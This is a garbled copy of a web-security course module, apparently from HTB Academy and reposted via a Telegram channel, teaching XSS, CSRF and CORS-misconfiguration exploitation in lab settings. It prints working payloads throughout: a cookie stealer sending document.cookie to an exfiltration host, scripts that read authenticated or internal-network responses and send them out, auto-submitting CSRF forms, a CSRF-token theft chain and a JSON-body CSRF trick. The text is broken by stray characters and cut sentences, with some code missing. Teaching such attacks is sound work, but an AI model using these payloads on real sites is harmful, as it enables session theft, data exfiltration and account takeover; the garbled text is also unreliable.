4. Advanced XSS and CSRF Exploitation - @CyberFreeCourses
4. Advanced XSS and CSRF Exploitation - @CyberFreeCourses
In this module, we will discuss the exploitation of Cross-Site Request Forgery (CSRF) and
Cross-Site Scripting (XSS) vulnerabilities in modern web applications, focusing on writing
custom payloads to achieve specific objectives.
As we will discuss in this module, many security policies and security measures in modern
de
web browsers restrict or prevent the basic exploitation of CSRF vulnerabilities. For instance,
there are the Same-Origin policy, Cross-Origin Resource Sharing (CORS), and SameSite
hi
As such, the exploitation of plain CSRF vulnerabilities has become increasingly rare in the
real world. However, if we discover an XSS vulnerability, we can combine the exploitation of
XSS and CSRF, resulting in a powerful tool that enables us to attack the vulnerable web
application itself and potentially additional web applications in the victim's internal network.
To exploit CSRF and XSS vulnerabilities and interact with the vulnerable web application, we
can use the XMLHttpRequest object or the more modern Fetch API. We can use both to
make HTTP requests from JavaScript code while specifying HTTP parameters like the
method, HTTP headers, or the request body.
For instance, we can send a POST request using the XMLHttpRequest object by specifying
the URL in the call to xhr.open , setting HTTP headers using the xhr.setRequestHeader
function, and specifying request body parameters in the call to xhr.send :
https://t.me/CyberFreeCourses
xhr.send('param1=hello¶m2=world');
On the other hand, we can send the same request using the Fetch API like so:
The function fetch expects the URL in the first parameter. We can pass all additional
request parameters in an object in the second parameter.
Note: Like the whitebox penetration testing process, debugging and testing our XSS and
CSRF exploits locally before sending them to victims is paramount; this ensures that during
engagements, we avoid bugs that may lead to unintended behaviors, such as denial of
r
service.
.i
In this module, all labs will follow the same general structure, containing multiple virtual hosts
that we can use to develop, fine-tune, and deliver our exploit. In this section, we will discuss
the different tools at our disposal and how we can use them to exploit the different CSRF
and XSS vulnerabilities we will encounter in the upcoming sections.
Exfiltration Server
The exfiltration server at exfiltrate.htb can be used to exfiltrate data. As such, the
exfiltration server logs all request parameters of all requests made to it, including GET
parameters, POST parameters, and HTTP headers. Logged data can be accessed at the
/log endpoint.
https://t.me/CyberFreeCourses
For instance, we can make the following HTTP request, assuming we are exfiltrating data via
the two parameters param1 and param2 :
curl http://exfiltrate.htb/log
-----
/?param2=World
Host: exfiltrate.htb
User-Agent: curl/7.88.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 172.17.0.1
X-Forwarded-Host: exfiltrate.htb
X-Forwarded-Server: exfiltrate.htb
Content-Length: 12 r
Connection: Keep-Alive
.i
param1=Hello
01
de
https://t.me/CyberFreeCourses
The exploit development server enables us to develop a custom exploit to target specific
vulnerabilities we find in the target web applications. Suppose, for an XSS proof-of-concept
on a target web app, we want to trigger an alert box:
r
.i
01
We can view our developed exploit by accessing the endpoint /exploit . Doing so triggers
the alert pop-up:
de
hi
Lastly, we can deliver exploit to our victim by accessing the /deliver endpoint, which will
cause the victim to trigger our developed payload by visiting
http://exploitserver.htb/exploit . This is helpful in CSRF attacks, where the victim
needs to access the payload voluntarily to trigger the exploit code. This module focuses on
exploit development, not exploit delivery methods. Delivering the payload to the victim forces
triggering the exploit; in the real world, numerous exploit delivery methods exist, including
sending a link to the victim via e-mail or any messaging service.
We can also use the exploit server to develop an XSS payload. However, we do not need to
deliver the exploit to the victim in such cases, as the payload will be delivered by the injected
XSS payload on the vulnerable site.
Lab Warmup
https://t.me/CyberFreeCourses
After discussing the lab components, let us explore how we can use them to exploit a couple
of sample vulnerabilities.
XSS Warm-Up
Our sample web application is a simple guestbook allowing us to leave entries, which all
users can view. An administrator frequently monitors the entries to address spam:
r
.i
01
de
<script>alert(1)</script>
Let us develop an exploit to steal the admin user's cookies. We can use the exploitserver for
exploit development by using a payload that loads the script from the exploit server:
<script src="http://exploitserver.htb/exploit"></script>
https://t.me/CyberFreeCourses
Afterward, we can create a cookie stealer payload like the following on the exploit server. To
exfiltrate the cookie, we can use the exfiltration server:
window.location = "http://exfiltrate.htb/cookiestealer?c=" +
document.cookie;
After saving the exploit, we can confirm that it has been saved by accessing the /exploit
endpoint:
Lastly, we must wait for the admin user to access the guestbook. The injected XSS payload
causes the admin's browser to load the payload from the exploit server, which will exfiltrate
r
the admin user's cookies to the exfiltration server. Accessing the exfiltration server's log at
.i
CSRF Warm-Up
The sample web application does not contain much functionality as it is still under
construction:
https://t.me/CyberFreeCourses
However, we can see that we only have user permissions. There is a promote button. If
we press it, the web application informs us that only administrator users can promote other
users. However, we can see that the promotion is implemented with the following request:
r
.i
01
de
In particular, this endpoint has no CSRF protection, enabling us to execute a CSRF attack to
hi
make an administrator promote our user. To do so, we need to create an HTML form that
corresponds to the promotion request:
<html>
<body>
<form method="GET"
action="http://csrf.vulnerablesite.htb/profile.php">
<input type="hidden" name="promote" value="htb-stdnt" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Since we do not want the attack to require additional user interaction, we will add JavaScript
code that automatically submits the form once the page is loaded:
<script>
document.forms[0].submit();
https://t.me/CyberFreeCourses
</script>
Combining these two parts results in the following payload, which we will save in the
exploitserver at exploitserver.htb :
<html>
<body>
<form method="GET"
action="http://csrf.vulnerablesite.htb/profile.php">
<input type="hidden" name="promote" value="htb-stdnt" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
r
We can test our exploit by clicking on View Exploit while being logged in to the vulnerable
.i
application. This results in a request to http://exploitserver.htb/exploit , which
returns our saved payload. The payload auto-submits the form, creating a cross-origin
01
request to the vulnerable web application. However, since we are not an administrator, the
de
promotion fails:
hi
However, this confirms that our CSRF payload successfully sent the HTTP request to
promote our user. To execute the attack, we can deliver our payload to the victim. This will
result in the victim accessing http://exploitserver.htb/exploit . After waiting for a few
seconds and refreshing the page, we are promoted to admin:
https://t.me/CyberFreeCourses
Thus, we successfully exploited the CSRF vulnerability to make the administrator victim
promote our user.
Note: When working on the labs, please keep the following things in mind:
There is a simulated victim user in all labs in this module. This victim user may take
some time to access the payload. So, make sure your payload works by testing it
yourself, and please be patient and wait a couple of minutes for the victim to trigger the
exploit.
The simulated victim uses a Chromium 114.0.5735.90 Browser. The exploits have been
r
tested on this browser version. Due to many recent changes regarding the handling of
.i
third-party cookies, it cannot be guaranteed that the exploits will work on later browser
01
cookies from previous labs may cause the browser to reject cookies in future labs.
hi
Before discussing the exploitation of CSRF vulnerabilities in detail, we will quickly recap the
basics of CSRF and common CSRF defenses. For a more detailed explanation, check out
the Session Security module.
https://t.me/CyberFreeCourses
successful CSRF attack, the cross-origin request is sent with the victim's session cookies
and performs a change in the vulnerable web application.
Although we will be creating the CSRF payloads manually in this module, there are tools that
we can utilize for automatic payload generation, for instance the CSRF PoC generator here.
r
Recap: CSRF Defenses
.i
01
There are many different defensive mechanisms to protect against CSRF attacks, most of
which rely on restrictions posed by the Same-Origin policy. We will briefly recap different
de
CSRF Tokens
CSRF Tokens are unique and random values that must be included in requests performing
sensitive changes to the web application, for instance, when submitting HTML forms. The
token must be unpredictable, so an attacker cannot know its value in advance. Furthermore,
the web application needs to check the value of the CSRF token before performing the
sensitive change. This prevents the attacker from constructing a cross-site request that the
web application accepts. The token must be unpredictable, checked adequately by the
backend, and not sent in a cookie, as otherwise, the CSRF token protection may be
ineffective.
In our above example, the web application would only accept user promotion requests
containing the username in the user GET parameter and the CSRF token in the
csrf_token GET parameter, typically a hidden value in the HTML form. Since the CSRF
token is a random value, the attacker cannot know the correct value, and thus, he is only
able to construct a cross-origin request with an invalid CSRF token. If the web application
checks the CSRF token correctly, the request will be rejected, so the attacker user account is
not promoted to administrator privileges.
https://t.me/CyberFreeCourses
HTTP Headers
Alternatively to CSRF tokens, web applications may use HTTP headers to protect from
CSRF attacks. For instance, a web application may check the Origin or Referer headers to
block cross-origin requests and thus prevent CSRF attacks.
Web browsers typically add the Origin header to cross-origin requests to indicate the
target origin where the request originated from. An attacker cannot control this behavior.
Thus, a web application can check the value of the Origin header to determine if a request
originated from another origin and can subsequently block state-changing cross-origin
requests to prevent CSRF attacks.
The same methodology can be applied to the Referer header, which is typically added by
web browsers to indicate the URL a resource was requested from.
SameSite Cookies
Another CSRF protection mechanism is the SameSite cookie attribute (originally drafted in
this Internet Draft and subsequently updated in another Internet Draft). A web application can
set this attribute to configure if the cookie should be sent along with cross-origin requests.
r
The attribute can have the following values:
.i
none : no additional measures are enforced by the browser. The cookie is sent with all
01
cross-origin requests
lax : the browser only sends the cookie with some cross-origin requests. For instance,
de
only cross-origin form submissions using GET . The cookie is not sent with any cross-
hi
Most modern browsers enforce a SameSite attribute of Lax by default (i.e., if no SameSite
cookie attribute is explicitly set). This prevents many CSRF attacks by default, as the
browser only sends cookies with safe HTTP requests, which prevents POST-based CSRF
attacks. GET-based CSRF attacks are still possible but significantly less common than
POST-based CSRF attacks.
Generally, web applications are recommended to implement CSRF tokens as their primary
CSRF defense. SameSite cookies and header-based checks may also be employed as
additional defense-in-depth protection measures.
To fully understand defenses against CSRF attacks and how to bypass them, we first need
to discuss the Same-Origin Policy and Cross-Origin Resource Sharing (CORS).
https://t.me/CyberFreeCourses
What is the Same-Origin Policy?
The Same-Origin policy is a security mechanism implemented in web browsers to prevent
cross-origin access to websites. In particular, JavaScript code running on one origin cannot
access a different origin. This prevents a malicious site from exfiltrating information from
other origins and restricts the type of requests it can make to other origins.
The origin (refer to RFC 6454 for more on the concept) is defined as the scheme , host ,
and port of a URL. The Same-Origin policy applies whenever two URLs differ in at least
one of these three properties. For instance, an http site and an https site have different
origins due to the difference in scheme.
Furthermore, https://academy.hackthebox.com and https://hackthebox.com also
have different origins due to the difference in hosts. On the other
hand, https://hackthebox.com and https://hackthebox.com:443 share the same
origin, as the scheme, host, and port match (the default port of https is 443).
Given that web browsers implement the Same-Origin policy, vulnerabilities and bugs within
their software can lead to bypasses, resulting in potentially high-severity security
r
vulnerabilities.
.i
To understand why the Same-Origin policy is crucial to web security, let us imagine a
de
<script>
async function exfiltrate_data(url) {
// get data
const response = await fetch(url, {credentials: "include"});
const data = await response.text();
// exfiltrate data
await fetch("https://exfiltrate.htb/exfiltrate?c=" + btoa(data));
}
// exfiltrate mails
exfiltrate_data("https://mymails.htb/getmails");
https://t.me/CyberFreeCourses
exfiltrate_data("https://192.168.178.5/");
</script>
This is a significant security violation, and we can do nothing to prevent this from happening.
The Same-Origin policy is specifically designed to mitigate this issue.
r
With the Same-Origin Policy
.i
01
As discussed above, the Same-Origin policy blocks access across origins. In the above
case, the origin of https://exploitationserver.htb differs from all three origins attacked
de
by the malicious website due to the different host. Thus, the call to fetch to a different
origin raises an error in the browser caused by the Same-Origin policy, and
hi
https://t.me/CyberFreeCourses
This behavior can lead to CSRF attacks since the request is not held back.
There are certain exceptions to the Same-Origin policy. For instance, we can include
resources such as img , video , and script tags cross-origins. For example, even though
it is loaded cross-origins, we can include Hack The Box Academy's logo on a website we
own using the following HTML code:
<!DOCTYPE html>
<html>
<body>
<script>
var img = document.createElement("img");
img.setAttribute("src",
"https://academy.hackthebox.com/images/logo.svg");
document.body.appendChild(img);
</script>
</body>
</html>
r
.i
What is CORS?
01
Same-Origin policy. This enables an origin to define a list of trusted origins and HTTP
hi
This allows for a simple front-end web application that does not need to handle any logic
regarding the data. In particular, the front-end code handles the interaction with the API, for
which it can use JavaScript code similar to the following so all data is fetched once the site is
loaded:
// fetch data
fetch("http://api.vulnerablesite.htb/data", {
method: "GET"
}).then((response) => {
https://t.me/CyberFreeCourses
return response.json();
}).then((data) => {
// add to DOM
<SNIP>
})
Now, let us discuss how CORS works and what a web application can do to talk to an API
without errors caused by the Same-Origin policy.
A web server can configure exceptions to the Same-Origin policy via CORS by setting any of
r
the following CORS headers in the HTTP response (we will discuss preflight requests
.i
later):
01
The most straightforward CORS configuration is that of a so-called simple request , which
can be made from plain HTML, without any script code. Simple requests can
be GET or HEAD requests without any custom HTTP headers as well as POST requests
without any custom HTTP headers and a Content-Type of either application/x-www-
form-urlencoded , multipart/form-data , or text/plain .
https://t.me/CyberFreeCourses
conditions. Therefore, the API must only configure an exception for the requesting origin by
setting the Access-Control-Allow-Origin header in all API responses.
Afterward, the web application at http://vulnerablesite.htb can read the response from
the cross-origin request. Here is the cross-origin request as well as the response in Burp:
Preflight Requests
All requests that do not fall under the simple requests conditions are called preflighted
requests . Before sending these cross-origin requests, the browser sends a preflight
request to the different origin containing all the parameters of the actual cross-origin
request. This enables the web server to decide whether to allow the cross-origin request.
The browser waits for the response to the preflight request and only continues to send the
r
actual cross-origin request if the web server allows it by setting the corresponding CORS
.i
headers in response to the preflight request. Since the browser asks the web server for
permission before sending the actual cross-origin request, CSRF vulnerabilities with
01
The preflight request is an OPTIONS request that contains the following headers:
hi
Access-Control-Request-Method: inform the server about the HTTP method used in the
actual request
Access-Control-Request-Headers: inform the server about the HTTP headers used in
the actual request
For example, if the API needs to accept JSON data in a POST request from the web
application, a simple request is insufficient because the Content-Type is set to
application/json , which is not allowed in a simple request. Thus, the browser will send a
preflight request before sending the actual request. The API needs to set the CORS
response headers accordingly to tell the browser it allows the cross-origin request. More
specifically, it must allow the origin http://vulnerablesite.htb , the method POST , and
the header Content-Type .
With the CORS headers configured correctly, the web application and API can talk to each
other without Same-Origin policy issues. Suppose a user wants to create a new data item
with a POST request; the user's browser will first send a preflight request to check if the API
allows the potentially dangerous cross-origin request:
https://t.me/CyberFreeCourses
Since the response contains the correct CORS headers, the browser knows that the API
allows the preflighted request; therefore, it continues with sending it:
Since this request also contains a CORS header with the requesting origin, the browser
adds an exception for the Same-Origin policy so that the web application can access the
r
response and check the result of the operation (in this case, Success ).
.i
To enable a PUT request for updating data and a DELETE request for deleting data, the API
01
CORS Misconfigurations
hi
Now that we have discussed the Same-Origin policy and CORS in detail, we will explore
common CORS misconfigurations that can lead to vulnerabilities in web applications and
how to identify them.
Before jumping into CORS misconfigurations, let us first discuss what kind of attack vectors
CORS misconfigurations can result in. Most attacks require that the Access-Control-
Allow-Credentials header is set to true , thus resulting in authenticated requests in the
victim's context. If a CORS misconfiguration results in an attacker-controlled domain being
granted an exception of the Same-Origin policy, the resulting vulnerability is similar to CSRF
vulnerabilities but more severe. The exception of the Same-Origin policy allows the attacker-
controlled domain to access the response of the cross-origin request. Since the request is
made from an authenticated context, the response contains potentially sensitive information
that the attacker can access and exfiltrate. Furthermore, depending on the specific CORS
configuration, the attacker can potentially interact with the web application to impersonate
the victim and execute actions on their behalf.
https://t.me/CyberFreeCourses
If the Access-Control-Allow-Credentials header is not set, attackers can no longer carry
out these attacks. However, a CORS misconfiguration in an internal web application can
enable an attacker to exfiltrate information that is not publicly accessible.
Note: Successful exploitation of some of the following CORS misconfigurations may require
the cookie attribute SameSite=None on the session cookie in a real-world web application.
invalid.
01
However, some web applications need to allow credentials for multiple origins. For instance,
think of a scenario where an API running at http://api.vulnerablesite.htb requires
de
To identify a CORS misconfiguration that reflects arbitrary origins, we need to look for
instances where the web application sets the Access-Control-Allow-Origin header to the
value received in the Origin header. We can then send the corresponding request to Burp
Repeater and change the Origin header to a bogus value such as
thisdoesnotexist.whatever.htb and check if this domain is contained in the Access-
Control-Allow-Origin response header. If it is, the web application suffers from this
CORS misconfiguration.
Exploitation
To exploit this, an attacker can host a payload similar to the following on their web server
with an arbitrary origin, for instance, at http://exploitserver.htb/exploit :
https://t.me/CyberFreeCourses
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://api.vulnerablesite.htb/data', true);
xhr.withCredentials = true;
xhr.onload = () => {
location = 'http://exfiltrate.htb/log?data=' + btoa(xhr.response);
};
xhr.send();
</script>
After accessing the site hosting the payload, the victim's browser sends the cross-origin
request to http://api.vulnerablesite.htb/data with credentials, i.e., session cookies:
r
.i
01
de
hi
Since the response reflects the origin in the CORS header and allows credentials, the
attacker's origin http://exploitserver.htb is granted an exception of the Same-Origin
policy. Therefore, the payload code is allowed to access the response and exfiltrates it by
sending it to the exfiltration server:
Thus, this CORS misconfiguration allows an attacker that does not have valid credentials to
read data from the API, even though it is protected by authentication.
A common goal of a web application is to trust all subdomains of a particular origin. For
instance, let us assume an API hosted at http://api.vulnerablesite.htb validates
incoming origin headers by checking whether it ends with the string vulnerablesite.htb to
verify that only sibling subdomains are granted a Same-Origin policy exception. While the
API implements a check for the origin before trusting it, the check is improperly implemented
as it does not only cover subdomains of vulnerablesite.htb but all domains ending in
vulnerablesite.htb .
Exploitation
Exploiting this CORS misconfiguration is identical to exploiting arbitrary origin reflection, as
an attacker can use the same payload to exfiltrate the data. However, since the origin is
checked, there are limitations on the origin the attacker can host the payload on. Due to the
postfix match, an attacker is unable to use the origin http://exploitserver.htb for the
r
exploitation but can choose any origin that ends in vulnerablesite.htb , for instance,
.i
Background
The Access-Control-Allow-Origin header does not only support a trusted origin and a
wildcard but also the value null , which indicates the null origin . While this should not
be used in practice, some web applications might implement it due to a misconception of the
meaning. An attacker can employ various methods to force a null origin on a cross-origin
request, which is subsequently trusted, resulting in a Same-Origin policy exception.
We must identify instances where the null origin is explicitly trusted to identify this
misconfiguration. To achieve this, we can look for the value null in the Access-Control-
Allow-Origin CORS header.
Exploitation
An attacker must supply a null origin in the cross-origin request to exploit this
misconfiguration. Any origin can achieve this by using a sandboxed iframe:
https://t.me/CyberFreeCourses
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://api.vulnerablesite.htb/data', true);
xhr.withCredentials = true;
xhr.onload = () => {
location = 'http://exfiltrate.htb/log?data=' + btoa(xhr.response);
};
xhr.send();
</script>"></iframe>
Using this payload, the exploit is the same as in the previous misconfigurations. However,
the sandboxed iframe results in a null origin in the cross-origin request:
r
.i
01
Background
Even if the web application does not configure CORS to allow credentials, an attacker might
still be able to target web applications running in a local network behind a firewall, reverse
proxy, or NAT that are not publicly accessible. Data exfiltration may be possible if these
internal web applications do not require authentication and contain a CORS misconfiguration
that trusts the attacker's origin.
Exploitation
The only protection the API has is that it is only accessible from within the internal network;
however, the wildcard origin grants any attacker-controlled origin to exfiltrate data from it if a
https://t.me/CyberFreeCourses
victim can access it. As no authentication is required, we do not need to set the
withCredentials option in the payload:
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://172.16.0.2/data', true);
xhr.onload = () => {
location = 'http://exfiltrate.htb/log?data=' + btoa(xhr.response);
};
xhr.send();
</script>
Suppose the victim opening the payload is in the same internal network as the internal API
and can thus access it. In that case, the victim's browser makes the cross-origin request
within the internal network:
r
.i
01
The response is then exfiltrated to the attacker, enabling the exfiltration of data from web
de
Moreover, the attacker does not need to know the IP address and port the misconfigured
application is running on but can improve the payload to scan the internal network by
attempting to request different IP addresses and port combinations until the application is
found.
We can improve our payload and fine-tune it according to the specific web application we are
targeting. For instance, it is generally not good practice to transmit the entire page in a GET
parameter since the URL length is not unlimited. Thus, the payload might fail if the page is
too large. Instead, it is better to use a POST parameter. Alternatively, we can split the data
and send it over multiple requests or parse the response and exfiltrate only the interesting
elements to ensure the URL is not too long. We can achieve this by searching for elements
using functions like getElementById :
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://api.vulnerablesite.htb/data', true);
xhr.withCredentials = true;
xhr.onload = () => {
// parse the response
https://t.me/CyberFreeCourses
var doc = new DOMParser().parseFromString(xhr.response,
'text/html');
Note: In the lab, your web browser's settings regarding third-party cookies might prevent
your exploit code from working correctly. However, these issues will not occur when
delivering the exploit to the victim. Make sure to keep an eye out for errors concerning third-
party cookies in the JavaScript console and adjust the browser settings accordingly.
In addition to the attack vectors discussed in the previous sections, CORS misconfigurations
can also be used to bypass CSRF defenses and carry out CSRF attacks even if proper
de
If CORS is misconfigured so that session cookies are sent along with cross-origin requests,
i.e., the Access-Control-Allow-Credentials is set, we can effectively bypass the Same-
Origin policy. In that case, common CSRF defenses are ineffective, as we will discuss in this
section.
However, for the victim's browser to send the victim's session cookie along with requests
made from JavaScript, we require the vulnerable web application to explicitly set the
SameSite cookie attribute to None in addition to the CORS misconfiguration. Per the
https://t.me/CyberFreeCourses
specification, this is only allowed with the Secure cookie attribute, which allows cookie
transmission via secure HTTPS connections only. The cookie will not be sent along any
unencrypted HTTP connections.
Due to this restriction, the sample web application and all other lab components are only
accessible using HTTPS. If we analyze the web application, we can notice that the web
application sets the Access-Control-Allow-Origin and Access-Control-Allow-
Credentials CORS headers, indicating that we should check for a CORS misconfiguration.
Furthermore, the session cookie is set with both the Secure and SameSite=None cookie
attributes:
We can analyze the web application's behavior if we supply different values in the HTTP
Origin header. If we supply an arbitrary value, we can see that the web application is
r
.i
indeed misconfigured, as arbitrary origins are reflected in the Access-Control-Allow-
Origin CORS header:
01
de
hi
We can exploit this CORS misconfiguration with the SameSite=None cookie attribute to
bypass proper CSRF protection and execute a CSRF attack. Let us analyze the web
application further to identify potential targets for this attack.
Like before, the web application implements a functionality to promote user accounts to
administrators. This time, the corresponding POST request is properly protected by a CSRF
token:
Let us write an exploit to obtain a valid CSRF token in the victim's session and subsequently
make the corresponding cross-origin request to make the victim promote our user account to
have administrator privileges. The CSRF token is sent in response to a GET request to the
https://t.me/CyberFreeCourses
/profile.php endpoint. We can make the corresponding request, parse the response, and
extract the CSRF token using JavaScript code similar to the following:
Afterward, we can construct the cross-origin request to promote our user with the valid
CSRF token:
We can combine both parts to come up with the following payload on our exploit server:
de
<script>
hi
// do CSRF
var csrf_req = new XMLHttpRequest();
var params = `promote=htb-stdnt&csrf=${csrftoken}`;
csrf_req.open('POST', 'https://vulnerablesite.htb/profile.php',
false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-
urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);
</script>
https://t.me/CyberFreeCourses
If we view our exploit, we can see an authenticated GET request to /profile.php followed
by an authenticated POST request to /profile.php with the valid CSRF token. Thus, our
exploit should work. After delivering it to the victim and waiting for a few seconds, our user is
promoted to administrator. Thus, we successfully exploited the CORS misconfiguration to
bypass the CSRF protection and conduct a successful CSRF attack:
After discussing CORS misconfigurations in the last few sections, we will explore different
01
miscellaneous CSRF attack vectors that may be used to bypass weak CSRF defenses.
de
hi
There are a few ways we can utilize this behavior to bypass the restrictions posed by
SameSite cookies. For instance, when the session cookie has the SameSite attribute set to
https://t.me/CyberFreeCourses
Lax , it is only sent with safe requests such as GET requests. If the web application contains
any endpoints that are state-changing and are done with GET requests, the SameSite
protection is ineffective. The same applies if all state-changing operations use POST
requests, but the web application is misconfigured and accepts GET requests.
Note: this bypass only works with client-side redirects, not server-side redirects such as
HTTP 3xx status codes.
As an example, consider the following web application that sets the SameSite cookie
attribute to Strict on the session cookie:
r
.i
01
de
hi
Interestingly, the web application redirects us to a temporary page after a successful login,
which then redirects us to our profile:
Looking at the source code, we can see that the resulting redirect is implemented using an
HTML meta tag, which is a client-side redirect:
https://t.me/CyberFreeCourses
Furthermore, we can inject additional GET parameters to the URL via the user GET
parameter, as the web application seems to copy that parameter in the redirection URL:
The user profile is vulnerable to the CSRF vulnerability discussed a couple of sections ago,
allowing us to promote our user via the /profile.php?promote=htb-stdnt endpoint.
r
However, since the SameSite attribute is set to Strict , our previous payload will not work.
.i
Instead, we can leverage the client-side redirect to craft a successful CSRF exploit. To
achieve this, we must ensure the victim accesses the endpoint, resulting in a client-side
01
<script>
document.location = "http://vulnerablesite.htb/admin.php?user=htb-
stdnt%26promote=htb-stdnt";
</script>
Setting this payload as our exploit on the exploit server and delivering it to the victim
successfully executes the CSRF attack. Subsequently, we obtain administrator privileges on
the web application.
Lastly, because subdomains are considered SameSite, we can bypass SameSite cookie
restrictions by exploiting XSS vulnerabilities in them. In that case, the cross-origin request is
considered to be SameSite. Therefore, the victim's cookies are sent with the request,
resulting in a successful CSRF attack. We will explore this scenario in more detail in the
upcoming sections.
Looking at our sample web application, we can see that it sets the SameSite=Strict
attribute on the session cookie, preventing the cookie from being sent along any cross-site
https://t.me/CyberFreeCourses
requests:
However, as we have discussed above, subdomains are considered to be the same site.
Thus, let us try to identify subdomains that are potentially vulnerable to XSS. We can do this
using gobuster :
<SNIP>
===============================================================
2023/08/26 12:09:40 Starting gobuster in VHOST enumeration mode
===============================================================
Found: guestbook.vulnerablesite.htb (Status: 200) [Size: 2317]
r
.i
===============================================================
2023/08/26 12:09:43 Finished
01
===============================================================
de
hi
Assuming the administrator monitoring the guestbook entries is also logged in to the main
application at http://vulnerablesite.htb , we can abuse this XSS vulnerability to bypass
the SameSite restriction and make the administrator promote our user to admin. To do that,
we need to force the administrator user to send the corresponding POST request, which we
can achieve with the following XSS payload:
https://t.me/CyberFreeCourses
<script>
var csrf_req = new XMLHttpRequest();
var params = 'promote=htb-stdnt';
csrf_req.open('POST', 'http://vulnerablesite.htb/profile.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-
urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);
</script>
After posting our payload to the guestbook and waiting for a few seconds for the
administrator user to access the page, we can see that the CSRF attack was successful,
and our user has been promoted:
r
.i
01
de
hi
This time, the web application has been protected with CSRF tokens such that a plain CSRF
attack will not succeed anymore. However, if we obtain multiple CSRF tokens, we can
deduce that it is an incrementing number, potentially something like a counter, and can thus
possibly be brute-forced:
https://t.me/CyberFreeCourses
If we analyze the CSRF tokens more closely, we can notice that the CSRF token is simply
the current time as a Unix Timestamp. This makes the CSRF token predictable and allows
us to create a working exploit to conduct a CSRF attack successfully. To do this, we must
correctly guess the victim's CSRF token, i.e., the last time the victim accessed the
/profile.php endpoint before accessing our payload. Getting the timing exactly right is
difficult since we cannot dynamically brute-force the CSRF token using JavaScript code due
to the restrictions posed by the default SameSite Lax policy. Thus, we need to hardcode the
guessed CSRF token in our HTML form and update the value for each guess:
<html>
<body>
r
<form method="GET" action="http://vulnerablesite.htb/profile.php">
.i
<input type="hidden" name="promote" value="htb-stdnt" />
<input type="hidden" name="csrf" value="1692981700" />
01
<script>
document.forms[0].submit();
hi
</script>
</body>
</html>
While this makes brute-forcing the CSRF token more challenging and thus reduces the
likelihood of a successful attack, it is feasible to predict a valid CSRF token and bypass the
weak protection.
https://t.me/CyberFreeCourses
CSRF with JSON Request Body
Many modern web applications expect data in a POST request to be JSON. If that is the
case, we can only carry out CSRF attacks under certain conditions because, with a CSRF
payload, we can only send URL-encoded POST parameters, not JSON-formatted POST
parameters. However, a web application only accepting JSON data might still be vulnerable
to CSRF.
Firstly, suppose the web application suffers from a CORS misconfiguration that allows us to
specify the Content-Type header. In that case, we can simply set the header to
application/json and send a JSON body from JavaScript code. However, this requires
the additional CORS misconfiguration to be present.
Alternatively, the web application might be vulnerable to CSRF if it does not correctly check
the Content-Type header sent in the request. An HTML-based CSRF payload only
supports the Content-Type headers application/x-www-form-urlencoded , text/plain ,
and multipart/form-data , which we can set using the enctype attribute on the HTML
form. Thus, by checking the Content-Type header, the web application can determine that
r
the request body is not of the expected JSON format and, thus, potentially reject the CSRF
.i
request. However, if the web application does not properly check the Content-Type header
and only relies on the syntax of the request body, we can forge a JSON body with a CSRF
01
<html>
hi
<body>
<form method="POST"
action="http://csrf.vulnerablesite.htb/profile.php" enctype="text/plain">
<input type="hidden" name='{"promote": "htb-stdnt", "dummykey'
value='": "dummyvalue"}' />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
https://t.me/CyberFreeCourses
{"promote": "htb-stdnt", "dummykey=": "dummyvalue"}
We can see that the Content-Type header is not application/json as discussed above.
However, the request body is valid JSON and can thus be parsed by the web application.
We injected a dummy key and dummy value into the JSON because the HMTL payload
technically submits a request body with Content-Type text/plain and thus inserts an =
between the parameter's name and its value. By inserting the dummy key and dummy value,
we can ensure that the = is inserted in the dummy key and does not pollute our payload
data. This method enables us to carry out CSRF attacks even in cases where the web
application only accepts a JSON-encoded request body.
We can use cross-site scripting (XSS) exploits to make HTTP requests, retrieve their
